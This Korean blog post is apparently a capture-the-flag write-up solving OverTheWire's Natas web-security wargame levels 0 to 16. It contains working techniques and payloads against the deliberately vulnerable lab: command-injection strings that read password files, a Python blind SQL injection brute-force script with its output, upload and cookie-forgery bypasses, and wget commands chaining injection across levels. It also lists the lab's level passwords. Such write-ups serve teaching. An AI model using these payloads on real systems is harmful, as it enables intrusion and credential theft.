본문 바로가기

[+] Hacking/[-] Challenge Report

OverTheWire Natas All Clear

오랜만에 워게임을 풀어볼까하여 여러 사이트를 돌아니던 중에 시스템 해킹 워게임만 있을 줄 알았던 OverTheWire 사이트에 웹 해킹 워게임이 있어 한번 풀어보았다. 난이도는 어렵지 않아 하/중 정도 되는 것으로 생각이 된다. 웹 해킹 초급자들이 풀어보면 웹 해킹의 감을 잡는데 좋을 것으로 생각이 된다. 문제의 접속은 다음과 같이 하면 된다.


 - http://natasX.natas.labs.overthewire.org

X : Level Number

계정은 NatasX, 비밀번호는 문제를 풀면 다음 레벨 계정의 패스워드가 주어지므로 해당 패스워드로 접속하면 된다.


 - p.s : 모든 패스워드는 /etc/natas_webpass/natasX 에 존재한다.


[Natas0]

Username: natas0

Password: natas0

URL: http://natas0.natas.labs.overthewire.org


 아주 기초적인 문제이다. 접속하면 다음과 같은 화면을 만나게 된다.



해당 페이지에서 다음 레벨 계정의 패스워드를 찾을 수 있다는 말인데, 소스보기를 하면 주석으로 적혀 있는 패스워드를 발견 할 수 있다.




[Natas0 -> Natas1]

Username: natas1

URL: http://natas1.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



해당 레벨도 마찬가지로 소스보기를 통해 패스워드를 획득하면 된다. 하지만 설명에도 나왔듯이 오른쪽 클릭이 막혀있다. 오른쪽 클릭이 막혀있다 하여도 소스보기를 못하는 것은 아니다. 대부분의 마우스 클릭 방지는 클릭의 이벤트 코드를 통해 방어해 두었기 때문에 이벤트만 발생시키지 않으면 쉽게 무력화 시킬 수 있다. 대표적으로 브라우저 메뉴에서 소스코드 보기 버튼을 클릭하는 방법이 있다.





[Natas1 -> natas2]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



위 지문이 무슨 말일까? 해당 페이지에는 아무것도 없다 라는 말이... 위 말대로라면 해당 페이지에서는 패스워드를 찾을 수 없으므로 다른 페이지를 찾아봐야 한다. 먼저 소스를 통해 다른 페이지로 갈만한 경로가 존재하는지 살펴보자.



페이지에는 표시가 되지 않았지만 이미지가 하나 링크되어 있다. 해당 이미지는 다운받아 보면 1x1 이미지로 조작된것이라 볼 수 있는 이미지이다. 하지만 패스워드와는 아무런 관련이 없어 보이고 해당 페이지가 존재했던 files/라는 디렉토리로 한번 접근을 시도해보면 다음과 같이 패스워드 파일이 존재하는 것을 볼 수 있다.


디렉토리 리스팅에 관해 문제를 제작한 것으로 보인다.


[Natas2 -> natas3]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 Level 3과 같은 화면을 볼 수 있고 소스코드를 보면 다음과 같은 문장을 볼 수 있다.


<!-- No more information leaks!! Not even Google will find it this time... -->


구글이 앞으로 여기를 찾을 수 없다고 한다. 결국 구글봇이 해당 페이지를 크롤링하지 못한다는 말이 되는데, 구글봇이 크롤링을 하지 못하는 까닭으로 대표적인 것은 robots.txt 파일이 있다. 한번 살펴보자.


접근하지 못하게 설정되어 있는 디렉토리가 하나 보인다. 


디렉토리에는 user.txt 파일이 하나 존재하고 해당 파일에는 계정정보가 존재한다.


[Natas3 -> Natas4]

Username: natas4

URL: http://natas4.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



natas4.shtml 파일에 접근이 금지 되었다고 한다. 접근 할 수 있는 방법은 natas5 계정의 문제 도메인을 통해서만 접근이 가능하다고 한다. 하지만 우리는 natas5의 패스워드를 모르기 때문에 해당 페이지에 접속한 것으로 위 말은 말이 되지 않는다. 그렇다면 간단하게 패킷을 조작 해 마치 우리가 natas5의 도메인에서 접속 한 것처럼 위장하여 해당 레벨을 클리어 하자.



http 헤더를 보면 referer 필드가 존재한다. 해당 필드는 접속 페이지 이전에 어디서 접속하였는지 표시해주는 필드이다. 그러므로 해당 필드를 natas5의 문제 도메인으로 조작 해 접속을 마치 natas5 문제 도메인에서 해당 페이지로 한 것 처럼 조작하면 페이지는 정상적으로 열리게 될 것이다.




[natas4 -> natas5]

Username: natas5

URL: http://natas5.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



접근이 해제되었고 내가 로그인이 되지 않았다고 한다. 로그인을 해서 들어왔는데 로그인이 되지 않았다면 우리는 두 가지를 경우를 생각할 수 있다. 하나는 쿠키의 로그인을 판별하는 어떤 변수의 값이 잘못 설정되었거나 또는 로그인 세션이 해제된 경우이다.

먼저 쿠키 값을 살펴보자.


 

loggedin 라는 쿠키변수의 값이 0이다. 쿠키변수의 이름으로 보아 로그인과 관련되어 있는 듯 하니 1로 변경하고 다시 한번 페이지를 불러와보면 다음과 같이 패스워드를 획득 할 수 있다.




[natas5 -> natas6]

Username: natas6

URL: http://natas6.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



뭔가 입력하는 폼이 하나 존재하고 소스코드가 링크되어 있는 문자열이 존재한다. 일단 소스코드부터 살펴보자.



간단한 PHP 소스코드가 존재한다. $secret 변수에 들어 있는 값이 우리가 전송하는 $_POST['secret'] 값과 일치 할 때 natas7 계정의 패스워드를 출력 해 주는 아주 간단한 소스코드이다. 그럼 $secret 변수는 어디에 존재할까? 소스코드 맨 첫줄에 있는 include 함수에서 불러오는 파일을 한번 살펴보자.



secret.inc 파일을 보니 $secret 변수가 선언되어 있고 해당 변수에 어떤 값이 저장되어 있다. 우리가 해당 값을 입력하면 이번 문제를 클리어하게 된다.




[natas6 -> natas7]

Username: natas7

URL: http://natas7.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



링크를 클릭하고 소스보기를 해보면 알겠지만, 두 페이지는 page라는 변수로 구분되어 진다. 그리고 다음과 같은 힌트가 존재한다.


<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->


page라는 변수가 수상하므로 비정상적인 값을 넣어보면 다음과 같이 오류메시지가 출력 된다.


Warning: include(1): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13 Warning: include(): Failed opening '1' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13



include 함수를 사용하는 것을 볼 수 있다. 그럼 힌트에 나온 패스워드 파일도 page 변수로 넘겨주면 include 함수에 의해 그 내용이 현재 페이지에 뿌려지게 될 것이다.




[natas7 -> natas8]

Username: natas8

URL: http://natas8.natas.labs.overthewire.org


접속하면 natas6 계정 문제에서 봤던 화면과 동일한 화면을 볼 수 있다. 물론 소스코드 보기도 존재한다. 그러므로 소스코드를 보면 다음과 같이 간단한 PHP 소스코드가 눈에 보인다.



이번에도 우리가 입력한 값과 미리 소스코드에 정해져있는 값을 비교하여 패스워드를 출력할지 결정한다. 그런데 소스코드에서는 우리가 입력한 값을 인코딩하여 미리 인코딩되어 있는 값과 비교한다. 그러므로 우리는 인코딩된 값을 풀어 원래의 문자열을 찾아 입력해야 한다. 그래야 소스코드에서 우리의 값을 인코딩하여 비교할 때 미리 인코딩되어 있는 값과 우리의 값이 동일해 질 것이다.우리 값을 인코딩하는 encodeSecret() 함수의 동작을 보면 먼저 base64로 인코딩 한 후 strrev() 함수를 적용 해 값들을 뒤집고 문자들을 16진수 값으로 바꾸어 return 해 준다. 우리는 역으로 해당 값을 풀어가면 된다.




해당 값을 입력하면 다음과 같이 패스워드를 획득 할 수 있다.




[natas8 -> natas9]

Username: natas9

URL: http://natas9.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



우리가 입력하는 값이 $key 변수에 들어가게 되고 해당 변수는 실행되는 명령어의 일부분으로 들어가게 된다. 명령어가 실행된다는 것에 주목하자. 명령어가 실행된다면 우리가 임의로 어떤 명령어를 넣어 패스워드 파일을 볼 수 있다는 것도 의미한다. 세미콜론을 이용하면 임의로 명령어를 실행하는 것이 가능하다.


;cat%20/etc/natas_webpass/natas10#


위처럼 입력하여 주면 패스워드를 획득 할 수 있다.




[natas9 -> natas10]

Username: natas10

URL: http://natas10.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



보안을 이유로 특정 문자들을 필터 해 두었다고 한다. 소스코드를 살펴보자.



지문 그대로 특정 문자들(;, |, &)을 필터 해 두었다. 앞에서 사용했던 코드로는 정상적으로 필터를 우회하고 패스워드 파일을 읽어내지 못한다. 여기서는 필터 문자들을 사용하지 못한다는 것을 염두에 두고 grep 명령어에 초점을 맞추어야 한다. grep 명령의 기본 기능을 이용 해 패스워드 파일을 읽어야 한다. ^, $문자를 이용하면 패스워드 파일을 정상적으로 읽을 수 있는데, ^ 문자는 줄의 시작을 의미하며 $는 줄의 끝을 의미한다. 그러므로 ^를 사용하면 줄이 시작되는 부분의 한줄을 출력하게 될 것이고 $를 사용하면 줄이 끝나는 줄의 줄을 출력할 것이다.


"^"%20/etc/natas_webpass/natas11#

"$"%20/etc/natas_webpass/natas11#




[natas10 -> natas11]

Username: natas11

URL: http://natas11.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 보면 지금까지 보던 소스코드들과는 다르게 조금 길다.



소스코드는 길어 보이지만 단순하게 XOR의 성질만 알면 쉽게 풀 수 있는 문제이다. XOR는 두 입력값으로 다른 값을 생산해 내지만, 두 입력값 중 어느 한 값을 결과 값에 입력하게 되면 또 다른 입력 값이 나오는 성질을 가지고 있다. 정리하면 다음과 같다.


A XOR B -> C

A XOR C -> B


xor_encrypt() 함수를 살펴보자. 해당 함수에 들어오는 인자 값은 saveData 함수에서 sercookie 함수 부분을 보면 json_encode($d)인 것을 알 수 있다. $d 값은 무슨 값일까? saveData()를 호출하는 부분을 보면 인자값으로 $data 변수가 넘어가는 것을 볼 수 있고 해당 $data 값은 loadData의 결과 값인 것을 알 수 있다.

loadData를 살펴보면 $defaultdata의 값을 현재 쿠키 값의 값을 디코딩하여 다시 설정해 준다. 그러므로 쿠키 값의 값이 $defaultData의 값과 같은 경우라면 결국 loadData()의 값은 $defaultData 값이라는 것을 알 수 있다. 페이지가 처음 로딩되었을 때 loadData()의 결과 값은 $defaultdata 변수의 값일테고 이 값은 saveData() 함수로 넘어가 결국 쿠키로 설정된다. 이 과정에서 $defaultdata는 json_encode 함수를 거친 후 xor_encrypt() 함수로 가게 된다. 그러므로 결국 xor_encrypt() 함수의 $text 값은 json_encode($defaultdata) 값이라 할 수 있다.


모든 것을 알아 냈으니 이제 패스워드가 출력되는 조건인 showpassword의 값이 yes인 쿠키 값을 만들어내야 한다. 왜냐하면 현재는 showpassword 값이 no인 쿠키값이기 때문이다.


하지만 우린 아직 키 값을 모른다. 그러므로 XOR 성질을 이용 해 키 값을 알아내야 한다. 간단하게 보기로 주어진 소스코드를 이용 해 알아내보자. 다음은 간단한 흐름이다.


base64_encode($key XOR json_encode($defaultdata)) -> Cookie Value

base64_decode(Cookie Value) XOR json_encode($defaultdata) -> $key




키 값이 나왔다. 해당 키 값을 보면 "qw8J" 값이 반복되어 있는 것을 볼 수 있다. xor 연산을 할 때 key[$i % strlen($key)]로 $key 문자열들 중에 xor 할 값을 고르게 되는데, 이때 계산되는 자리의 값은 결국 $i 값이다. 그러므로 실제로 결국 계산될 때 사용되는 문자열은 "qw8J" 이므로 해당 값을 key로 하여 쿠키를 계산 해 보면 다음과 같다.




계산된 쿠키를 적용하고 페이지를 다시한번 불러오면 패스워드를 획득 할 수 있다.




[natas11 -> natas12]

Username: natas12

URL: http://natas12.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스를 한번 살펴보자.



파일을 올릴 때 이름을 랜덤문자열로 하고 확장자를 jpg로 확정지어 업로드를 수행한다. 또 파일 크기는 1KB를 넘어서는 안된다. 하지만 이 모든 것이 클라이언트에서 이루어지기 때문에 손쉽게 해결 가능하다. 제일 쉬운 방법으로는 새로운 폼을 하나 작성 해 서버에 파일을 업로드하는 것이고, 다른 방법으로는 HTTP 헤더에서 파일 이름과 파일의 확장자를 수정 해 주는 방법이다. 여기서는 후자의 방법으로 시도해보겠다.



include 함수를 통해 패스워드 파일을 불러오는 php 파일을 작성하고 업로드 할 때 HTTP 패킷을 잡아 파일 이름 필드에서 jpg 확장자를 php 확장자로 바꾸어 전송한다. 그럼 다음과 같이 파일 업로드 경로가 나타나게 되고 그 내용에는 패스워드 파일의 내용이 불러와 출력되게 된다.





[natas12 -> natas13]

Username: natas13

URL: http://natas13.natas.labs.overthewire.org



보안 조치를 취해두었다고 하면서 오로지 이미지파일만 업로드 할 수 있다고 한다. 소스코드를 한번 살펴보자.



소스코드는 크게 바뀐 것이 없다. 이미지 파일을 체크하기 위한 exif_imagetype() 함수만 추가 되었다. 이런 파일포맷 체크 함수들은 대부분 파일포맷의 시그니처만 확인한다. 올릴려는 파일에 그림파일의 시그니처를 적절히 적어 업로드하면 쉽게 우회가 가능하다.





[natas13 -> natas14]

Username: natas14

URL: http://natas14.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



한눈에 봐도 SQL Injection 문제라는 것을 알 수 있다. 쿼리를 실행시키기만 하여도 다음 레벨의 패스워드가 출력된다. 해당 쿼리를 다시 한번 살펴보면 다음 쿼리와 동일한 쿼리이다.


SELECT * from users where username=".$_REQUEST["username"]." and password=".$_REQUEST["password"]."



위와 같이 입력하게 되면 간단하게 문제를 클리어 할 수 있다.



[natas14 -> natas15]

Username: natas15

URL: http://natas15.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



이번에도 SQL Injection 문제이다. 하지만 쿼리 우회문이 아닌 테이블에서 password를 빼와야 한다. 테이블에 유저가 있고 없고를 판단하는 문장으로 봐서는 Blind SQL Injection을 목표로 하는 듯 하다. 지금까지 나온 패스워드가 32글자이므로 이번 패스워드도 32글자일 확률이 많다. 그러므로 간단하게 인젝션으로 패스워드의 글자수를 알아보자.


natas16" and length(password)=32#



쿼리가 정상적으로 실행 되었을 때 나오는 문장이 출력되었다. 이걸 토대로 생각 해 보았을 때 패스워드는 32글자라는 것을 생각 할 수 있고 이전 패스워드들과 마찬가지로 대/소문자, 숫자로 이루어져있음을 추측할 수 있다.

간단하게 스크립트를 짜서 실행하면 다음과 같다.


# -*- coding: utf-8 -*-


import httplib

import urllib

import re

import base64


charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


headers = {}

username = "natas15"

password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

conn = httplib.HTTPConnection("natas15.natas.labs.overthewire.org")

base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')

headers["Authorization"] = "Basic %s" % base64string   

headers["Content-Type"] = "application/x-www-form-urlencoded"


count = 0

password = ""

value = {}

while count != 32:

    for i in charset:

        password += i

        value["username"] = 'natas16" and password LIKE BINARY "' + password + '%'

        conn.request("POST", "", urllib.urlencode(value), headers)

        read = conn.getresponse()

        data = read.read()

        if data.find("This user exists.") > 0:

            print "Found :  ", password

            count += 1

            break

        else:

            password = password[:-1]

        conn.close()


--------------------------------------------------------------------------------------------------------------------


root@kali:~/Desktop# python test2.py 

Found :   W

Found :   Wa

Found :   WaI

Found :   WaIH

Found :   WaIHE

Found :   WaIHEa

Found :   WaIHEac

Found :   WaIHEacj

Found :   WaIHEacj6

Found :   WaIHEacj63

Found :   WaIHEacj63w

Found :   WaIHEacj63wn

Found :   WaIHEacj63wnN

Found :   WaIHEacj63wnNI

Found :   WaIHEacj63wnNIB

Found :   WaIHEacj63wnNIBR

Found :   WaIHEacj63wnNIBRO

Found :   WaIHEacj63wnNIBROH

Found :   WaIHEacj63wnNIBROHe

Found :   WaIHEacj63wnNIBROHeq

Found :   WaIHEacj63wnNIBROHeqi

Found :   WaIHEacj63wnNIBROHeqi3

Found :   WaIHEacj63wnNIBROHeqi3p

Found :   WaIHEacj63wnNIBROHeqi3p9

Found :   WaIHEacj63wnNIBROHeqi3p9t

Found :   WaIHEacj63wnNIBROHeqi3p9t0

Found :   WaIHEacj63wnNIBROHeqi3p9t0m

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5n

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nh

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhm

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhmh



[natas15 -> natas16]

Username: natas16

URL: http://natas16.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



조금 더 차단되는 문자가 생긴 것 빼고는 이전과 달라진 것이 없다. 그러나 큰따옴표("")를 필터하고 있어 이전 코드는 사용하지 못한다. 이번에는 $ 쉘 커맨드를 이용 해 임의의 명령을 시도 해보자. $ 커맨드는 괄호안에 들어 있는 명령을 실행시켜주는 쉘 커맨드이다. 다음 예를 보자.



$(echo game)을 실행하면 결국 game이란 문자열을 반환하므로 소스코드에 명시되어 있는 grep 명령이 game 문자열을 dictionary.txt에서 찾아 결과를 반환하여 주었다. 원래 문제 의도라면 쉘커맨드를 이용 해서 패스워드 파일의 글자를 하나씩 cut 명령으로 추출하는 것이지만, 조금 색다른 방법으로 풀이를 해보도록 하겠다.


해당 문제랑 비슷한 문제가 natas9 계정의 문제이다. 비교적 필터하는 문자가 적기 때문에 해당 문제를 이용해서 여러 디렉토리를 살펴 볼 수 있는데, 해당 문제를 이용 해 현재 natas16 문제에서 패스워드 파일을 tmp 디렉토리로 복사하고 natas9 계정에서 tmp 디렉토리에 있는 파일을 열어 패스워드를 확인 해 볼 것이다.


wget --quiet -O - --user=natas16 --password=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh --post-data 'submit=&needle=$(cat /etc/natas_webpass/natas17 > /tmp/natas17)' http://natas16.natas.labs.overthewire.org > /dev/null


wget --quiet -O - --user=natas9 --password=W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl --post-data 'submit=&needle=;cat /tmp/natas17;' http://natas9.natas.labs.overthewire.org




natas17은 현재 제작 중인 것으로 나와 현재 레벨까지는 올클리어를 하였다.


마지막 몇 문제 빼고는 어렵지 않은 문제니 다들 한번씩 도전해 보기 바란다.


[계정 비밀번호 리스트]

natas0 : natas0

natas1 : gtVrDuiDfck831PqWsLEZy5gyDz1clto

natas2 : ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

natas3 : sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

natas4 : Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

natas5 : iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

natas6 : aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

natas7 : 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

natas8 : DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

natas9 : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

natas10 : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

natas11 : U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas12 : EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas13 : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas14 : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas15 : AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas16 : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

natas17 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw